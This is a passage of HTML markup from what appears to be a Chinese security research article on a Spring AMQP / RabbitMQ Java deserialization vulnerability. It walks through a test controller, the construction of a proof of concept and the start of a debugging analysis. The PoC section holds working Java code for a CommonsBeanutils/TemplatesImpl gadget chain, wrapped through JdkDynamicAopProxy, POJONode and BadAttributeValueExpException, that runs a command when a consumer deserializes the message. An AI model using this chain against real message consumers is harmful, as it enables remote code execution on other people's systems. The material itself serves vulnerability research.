normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">简单写一个 Controller 测试一下服务搭建是否成功；</span><span style="font-family: monospace;background-color: rgb(240, 240, 240);color: rgb(31, 113, 153);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@RestController</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MessageController</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> MessageSenderService messageSenderService;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Autowired</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">MessageController</span><span class="code-snippet__params">(MessageSenderService messageSenderService)</span> </span>{ </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.messageSenderService = messageSenderService; </span></code><code><span class="code-snippet_outer">    }    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@GetMapping</span>(<span class="code-snippet__string">&#34;/testsend&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">testsendMessage</span> <span class="code-snippet__params">(Object message)</span>  </span>{</span></code><code><span class="code-snippet_outer">        messageSenderService.sendMessage(<span class="code-snippet__string">&#34;Hello RabbitMQ!&#34;</span>);</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">下断点慢慢执行，就可以看见队列中的消息数量，执行太快的话消息很快就处理完了，就不会显示； <br/>

 能显示则说明服务搭建成功。         <br/>

 </span><span style="font-size: 22pt;font-weight: bold;text-indent: 0pt;letter-spacing: 0.034em;"></span><span style="font-size: 22pt;font-weight: bold;text-indent: 0pt;letter-spacing: 0.034em;"></span><span style="mso-bookmark:images_1698224560058_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="548" data-backw="578" data-imgfileid="100004403" data-ratio="0.9487776484284052" width="601.7100219726562" data-type="png" data-w="859" height="570.8900146484375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4242d600&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnr8jTQyibjBsDibicDy1nDqfXiaCBn2WiajCQibhhUtuFWAWAYc7FvFtHicSJQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-style-name: &#39;Para 02&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;text-decoration: underline;color: rgb(6, 153, 7);">3. poc构造</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">先准备一个 CommonBeanutils 的反序列化链的 templatesImpl 对象，抛出</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">AmqpRejectAndDontRequeueException</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">异常，避免陷入死循环；</span></p><section style="margin: 0pt 2.97pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: monospace;color: rgb(136, 0, 0);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="mso-style-name: &#39;04 Text&#39;;mso-style-parent: &#39;&#39;;color: #444444;font-weight: bold;mso-bidi-font-weight: bold;font-family: monospace;mso-ascii-font-family: monospace;mso-fareast-font-family: monospace;font-variant: normal;text-transform: none;"></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CommonBeanutils1</span> {          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> TemplatesImpl <span class="code-snippet__title">createTemplatesImpl</span>(<span class="code-snippet__params">String cmd</span>)</span> {          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {          </span></code><code><span class="code-snippet_outer">            TemplatesImpl templates = TemplatesImpl.class.newInstance();          </span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer">            ClassPool pool = ClassPool.getDefault();          </span></code><code><span class="code-snippet_outer">            pool.insertClassPath(<span class="code-snippet__keyword">new</span> ClassClassPath(AbstractTranslet.class));          </span></code><code><span class="code-snippet_outer">            CtClass cc = pool.makeClass(<span class="code-snippet__string">&#34;Cat&#34;</span>);          </span></code><code><span class="code-snippet_outer">            String cmdSrc = String.format(<span class="code-snippet__string">&#34;try { java.lang.Runtime.getRuntime().exec(\&#34;&#34;</span> + cmd + <span class="code-snippet__string">&#34;\&#34;); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException(&#34;</span>err<span class="code-snippet__string">&#34;); } &#34;</span>);          </span></code><code><span class="code-snippet_outer">            cc.makeClassInitializer().insertBefore(cmdSrc);          </span></code><code><span class="code-snippet_outer">            String randomClassName = <span class="code-snippet__string">&#34;Calc&#34;</span> + System.nanoTime();          </span></code><code><span class="code-snippet_outer">            cc.setName(randomClassName);          </span></code><code><span class="code-snippet_outer">            cc.setSuperclass(pool.<span class="code-snippet__keyword">get</span>(AbstractTranslet.class.getName()));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            setField(templates, <span class="code-snippet__string">&#34;_name&#34;</span>, <span class="code-snippet__string">&#34;name&#34;</span>);          </span></code><code><span class="code-snippet_outer">            setField(templates,<span class="code-snippet__string">&#34;_bytecodes&#34;</span>,<span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[][]{cc.toBytecode()});          </span></code><code><span class="code-snippet_outer">            setField(templates, <span class="code-snippet__string">&#34;_tfactory&#34;</span>, <span class="code-snippet__keyword">new</span> TransformerFactoryImpl());          </span></code><code><span class="code-snippet_outer">            setField(templates, <span class="code-snippet__string">&#34;_class&#34;</span>, <span class="code-snippet__literal">null</span>);   </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> templates;          </span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace(); </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>; </span></code><code><span class="code-snippet_outer">        } </span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setField</span>(<span class="code-snippet__params">Object <span class="code-snippet__keyword">object</span>,String field,Object args</span>) throws Exception</span>{          </span></code><code><span class="code-snippet_outer">        Field f0 = <span class="code-snippet__keyword">object</span>.getClass().getDeclaredField(field);          </span></code><code><span class="code-snippet_outer">        f0.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        f0.<span class="code-snippet__keyword">set</span>(<span class="code-snippet__keyword">object</span>,args); </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">}  </span></code></pre></section><section style="margin: 0pt 2.97pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: monospace;color: rgb(136, 0, 0);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><o:page></o:page></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在 Controller 中定义发送消息的方法，templates 需要用一个可被序列化的类包裹，</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">POJONode</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">依次继承于</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">ValueNode</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"> -&gt; </span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">BaseJsonNode</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">并实现</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">Serializable</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">接口；         <br/>

 但是 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">POJONode </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">是 Jackson 包中的类，由于 Jackson 反序列化链不稳定，所以需要构造一个 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">JdkDynamicAopProxy </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">类的代理类，以保证稳定调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">TemplatesImpl#getOutputProperties()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">；         <br/>

 而将 POJONode 对象赋给 BadAttributeValueExpException 对象的</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">val</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">值，则是为了通过</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">BadAttributeValueExpException.readObject()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">POJONode.t</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">oString</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，从而调用到</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">TemplatesImpl#getOutputProperties()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">。</span></p><section style="margin: 0pt 2.97pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: monospace;color: rgb(31, 113, 153);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="font-family:monospace;mso-ascii-font-family:monospace;mso-fareast-font-family:monospace;font-variant:normal;text-transform:none;"></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@GetMapping</span>(<span class="code-snippet__string">&#34;/send&#34;</span>) </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> sendMessage (<span class="code-snippet__built_in">Object</span> message) throws Exception {          </span></code><code><span class="code-snippet_outer">    TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl(<span class="code-snippet__string">&#34;calc.exe&#34;</span>);          </span></code><code><span class="code-snippet_outer">              </span></code><code><span class="code-snippet_outer">    AdvisedSupport <span class="code-snippet__keyword">as</span> = <span class="code-snippet__keyword">new</span> AdvisedSupport();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">as</span>.setTarget(templates); </span></code><code><span class="code-snippet_outer">    Constructor <span class="code-snippet__keyword">constructor</span> = Class.forName(<span class="code-snippet__params">&#34;org.springframework.aop.framework.JdkDynamicAopProxy&#34;</span>).getDeclaredConstructor(<span class="code-snippet__params">AdvisedSupport.<span class="code-snippet__keyword">class</span></span>);          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">constructor</span>.setAccessible(<span class="code-snippet__params"><span class="code-snippet__literal">true</span></span>); </span></code><code><span class="code-snippet_outer">    InvocationHandler jdkDynamicAopProxyHandler = (<span class="code-snippet__params">InvocationHandler</span>) <span class="code-snippet__keyword">constructor</span>.newInstance(<span class="code-snippet__params"><span class="code-snippet__keyword">as</span></span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Templates templatesProxy = (<span class="code-snippet__params">Templates</span>) Proxy.newProxyInstance(<span class="code-snippet__params">ClassLoader.getSystemClassLoader(), <span class="code-snippet__keyword">new</span> Class[]{Templates.<span class="code-snippet__keyword">class</span>}, jdkDynamicAopProxyHandler</span>);          </span></code><code><span class="code-snippet_outer">          </span></code><code><span class="code-snippet_outer">    POJONode pojoNode = new POJONode(<span class="code-snippet__params">templatesProxy</span>); </span></code><code><span class="code-snippet_outer">    BadAttributeValueExpException poc = new BadAttributeValueExpException(<span class="code-snippet__params"><span class="code-snippet__literal">null</span></span>);</span></code><code><span class="code-snippet_outer">    CommonBeanutils1.setField(<span class="code-snippet__params">poc, &#34;val&#34;, pojoNode</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    messageSenderService.sendMessage(<span class="code-snippet__params">poc</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="margin: 0pt 2.97pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: monospace;color: rgb(31, 113, 153);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="background-color: transparent;color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 12pt;letter-spacing: 0.034em;text-indent: 0pt;"></span></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">还有一个重要的点，就是重新定义</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">com.fasterxml.jackson.databind.node .BaseJsonNode</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">，并且删除</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">writeReplace()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">方法，这样就不会出现</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">java.lang.NullPointerException</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">。具体原因文末细说。</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><img class="rich_pages wxw-img" data-backh="270" data-backw="578" data-imgfileid="100004421" data-ratio="0.4675925925925926" width="601.7100219726562" data-type="png" data-w="1080" height="281.260009765625" style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 16px;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(240, 240, 240);display: inline;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c0475c95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnXFH3GSPRW18faotficAiaddOswRFvaocCx7UjibvTibKlLjyTUTHvOHPmw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;">运行看看，成功执行命令，并</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;">且消息中能看到传递的 </span></span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;">poc 。</span>

 </span><span style="mso-bookmark:images_1698285571255_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="390" data-backw="578" data-imgfileid="100004409" data-ratio="0.675365344467641" width="601.7100219726562" data-type="png" data-w="958" height="406.3699951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=313699bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnvQFibtCqaibeBTxF9rn5MDc5ayvPrSGKWd9m76dcNU1jkxqxuRxmGumQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-style-name: &#39;Para 03&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 5.0pt;margin-bottom: 5.0pt;mso-element: frame;mso-element-frame-width: 0pt;mso-element-frame-height: 0pt;mso-element-frame-hspace: 0.0pt;mso-element-frame-vspace: 22.0pt;mso-element-wrap: around;mso-element-anchor-vertical: paragraph;mso-element-anchor-horizontal: column;mso-element-left: right;mso-element-top: 0.05pt;mso-element-anchor-lock: auto;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"></span></p><p style="mso-style-name: &#39;Para 02&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;text-decoration: underline;color: rgb(6, 153, 7);">4. 调试分析</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">直接跟进</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">RabbitTemplate.conveAndSend()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，先将消息转换为Message类型，调用的消息转换器是默认的</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">SimpleMessageConverter</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">；         <br/>

 </span><span style="mso-bookmark:images_1698285968145_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="218" data-backw="578" data-imgfileid="100004406" data-ratio="0.37777777777777777" width="601.7100219726562" data-type="png" data-w="1080" height="227.5" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f5b8df1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnS9UjQzHnuSSXTKiaJpddumdwic3UmmOSaOTHibOoFoQdIETlTcEE6sZZg%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698285968145_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在进行</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">toMessage()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">时会调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">createMessage()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，这里面会判断传入消息对象的类型，这里 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">BadAttributeValueExpException </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">对象是实现了 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">Serializable </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">接口的，所以将对象进行序列化，并且把 content-type 类型设为</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">application/x-java-serialized-object</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，然后返回 Message 对象；<br/>

 </span><span style="mso-bookmark:images_1698286431868_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="373" data-backw="578" data-imgfileid="100004407" data-ratio="0.6453703703703704" width="601.7100219726562" data-type="png" data-w="1080" height="388.3299560546875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=666bfbff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNniajia7cgmNsn3iaS5fEiclSXPsLlMJicBg6Ie5v1OAKc4FibJicHnm4P9GBdQ%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">然后将 Message 发送到 Rabbit 服务；         <br/>

 </span><span style="mso-bookmark:images_1698286948172_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="153" data-backw="578" data-imgfileid="100004408" data-ratio="0.26481481481481484" width="601.7100219726562" data-type="png" data-w="1080" height="159.4000244140625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed9d648b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnpHqvexSK1Kv2Nl2toQGS18gV8L439dlrdhsCVj9WYT2ZzzXT1fyuWw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698286948172_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 